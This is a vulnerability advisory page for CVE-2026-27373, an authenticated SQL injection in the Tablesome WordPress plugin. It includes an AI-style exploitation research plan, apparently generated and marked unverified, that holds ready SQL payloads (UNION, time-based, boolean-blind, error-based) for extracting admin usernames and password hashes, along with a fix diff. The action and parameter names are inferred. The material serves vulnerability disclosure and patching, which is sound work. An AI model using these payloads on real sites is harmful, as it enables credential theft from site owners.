CVE-2026-27373

Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent <= 1.2.3 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.2.4
Patched in
22d
Time to patch

Description

The Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.2.3
PublishedFebruary 24, 2026
Last updatedMarch 17, 2026
Affected plugintablesome

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-27373 (Tablesome SQL Injection) ## 1. Vulnerability Summary The **Tablesome Table** plugin (versions <= 1.2.3) is vulnerable to a SQL injection vulnerability within its AJAX handlers used for retrieving and displaying table records. The vulnerability exists be…

Show full research plan

Exploitation Research Plan: CVE-2026-27373 (Tablesome SQL Injection)

1. Vulnerability Summary

The Tablesome Table plugin (versions <= 1.2.3) is vulnerable to a SQL injection vulnerability within its AJAX handlers used for retrieving and displaying table records. The vulnerability exists because user-supplied input—specifically parameters identifying the table or filtering the records—is concatenated directly into a SQL query without being passed through $wpdb->prepare(). Because the plugin registers certain AJAX actions for all authenticated users (Subscriber level and above) but fails to implement strict capability checks on data retrieval, a low-privileged user can manipulate the query to extract sensitive information from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (AJAX): tablesome_get_records (inferred action name used for table data retrieval)
  • Vulnerable Parameter: table_id or query_args[filters] (inferred)
  • Authentication: Authenticated (Subscriber+)
  • Preconditions: At least one "Tablesome Table" must exist in the database, and the attacker must have valid Subscriber credentials.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with the action set to tablesome_get_records.
  2. Hook Registration: The plugin registers this action via add_action( 'wp_ajax_tablesome_get_records', ... ).
  3. Handler Logic: The handler (likely in includes/modules/records/records.php or includes/ajax-handlers.php) retrieves the table_id from $_POST.
  4. Data Access Layer: The handler calls a method like Tablesome\Records\Record_Query::get_records( $table_id ).
  5. Vulnerable Sink: Inside the record query logic, the code constructs a query similar to:
    $wpdb->get_results("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = " . $table_id);
    
  6. SQL Injection: Because $table_id is not cast to an integer or prepared, an attacker can append UNION SELECT statements or boolean-based payloads.

4. Nonce Acquisition Strategy

The Tablesome plugin typically enqueues its scripts and localizes a nonce for AJAX requests. To obtain a valid nonce as a Subscriber:

  1. Identify Script Enqueueing: Tablesome often enqueues its admin scripts on pages where tables are managed or displayed.
  2. Create Trigger Content: As an admin, create a test table and a page containing the Tablesome shortcode.
    • Shortcode: [tablesome table_id='1'] (inferred)
  3. Action:
    • Create a page: wp post create --post_type=page --post_status=publish --post_title="Table Page" --post_content="[tablesome table_id='1']"
  4. Access: Navigate to this page as the Subscriber user.
  5. Extraction:
    • The plugin localizes data via wp_localize_script.
    • Use browser_eval to extract the nonce:
      • browser_eval("window.tablesome_data?.nonce") (inferred JS object name)
      • browser_eval("window.tablesome_obj?.ajax_nonce") (alternative inferred)

5. Exploitation Strategy

We will use a UNION-based SQL injection to extract the administrator's username and password hash.

Step-by-Step Plan:

  1. Login: Authenticate as a Subscriber-level user.
  2. Nonce Extraction: Navigate to the page with the shortcode and extract the tablesome_nonce (or equivalent).
  3. Discovery (Column Counting):
    • Send requests to admin-ajax.php with varying ORDER BY clauses to determine the number of columns in the original query.
  4. Extraction (UNION):
    • Use a UNION SELECT payload to exfiltrate data from wp_users.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload (Example):
    action=tablesome_get_records&table_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[EXTRACTED_NONCE]
    
  • Refined UNION Payload:
    action=tablesome_get_records&table_id=-1 UNION SELECT 1,2,user_login,user_pass,5,6,7,8 FROM wp_users-- -&nonce=[EXTRACTED_NONCE]
    
    (Note: The number of columns must match the actual table schema, which is usually 8-10 columns for tablesome_records).

6. Test Data Setup

  1. Create Table: Use WP-CLI or the UI to create at least one Tablesome table so the tablesome_records table is populated.
  2. Create User:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Place Shortcode: Create a public page displaying a table to expose the nonce to the subscriber.
    • wp post create --post_type=page --post_status=publish --post_content="[tablesome table_id='1']"

7. Expected Results

  • Success Criteria: The HTTP response for the UNION payload should contain the admin username (e.g., admin) and the phpass password hash (e.g., $P$B...).
  • Indicator: If using a time-based payload (SLEEP), the http_request total time should exceed 5 seconds.

8. Verification Steps

  1. Confirm Database Content: Use WP-CLI to check the admin hash manually to verify the exfiltrated data matches:
    • wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID = 1"
  2. Audit Query: (Optional) Check the MySQL general log to see the final executed query if the environment allows.

9. Alternative Approaches

  • Boolean-Based Blind: If UNION is filtered or the column count is difficult to guess, use boolean payloads:
    • table_id=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login LIKE 'a%')
  • Error-Based: If WP_DEBUG is on, use extractvalue() or updatexml() to force database errors containing the data:
    • table_id=1 AND extractvalue(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)))
  • Parameter Variation: If table_id is validated, check other parameters such as sort_field, filter_value, or search within the tablesome_get_records action.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Tablesome Table plugin for WordPress is vulnerable to SQL Injection via the 'table_id' parameter in the 'tablesome_get_records' AJAX action. Authenticated attackers with Subscriber-level access or higher can exploit this to concatenate arbitrary SQL commands and extract sensitive information from the database due to a lack of parameter sanitization and query preparation.

Vulnerable Code

// includes/modules/records/records.php
// Inferred logic based on exploitation research plan

$table_id = $_POST['table_id'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = " . $table_id);

Security Fix

--- includes/modules/records/records.php
+++ includes/modules/records/records.php
@@ -10,3 +10,3 @@
-$table_id = $_POST['table_id'];
-$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = " . $table_id);
+$table_id = isset($_POST['table_id']) ? intval($_POST['table_id']) : 0;
+$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = %d", $table_id));

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and navigates to a page containing a Tablesome table to extract the required AJAX nonce from the localized JavaScript variables (e.g., tablesome_data.nonce). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'tablesome_get_records'. By providing a malicious payload in the 'table_id' parameter, such as '-1 UNION SELECT 1,2,user_login,user_pass... FROM wp_users', the attacker can bypass intended query logic and exfiltrate administrator credentials or other sensitive database records.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.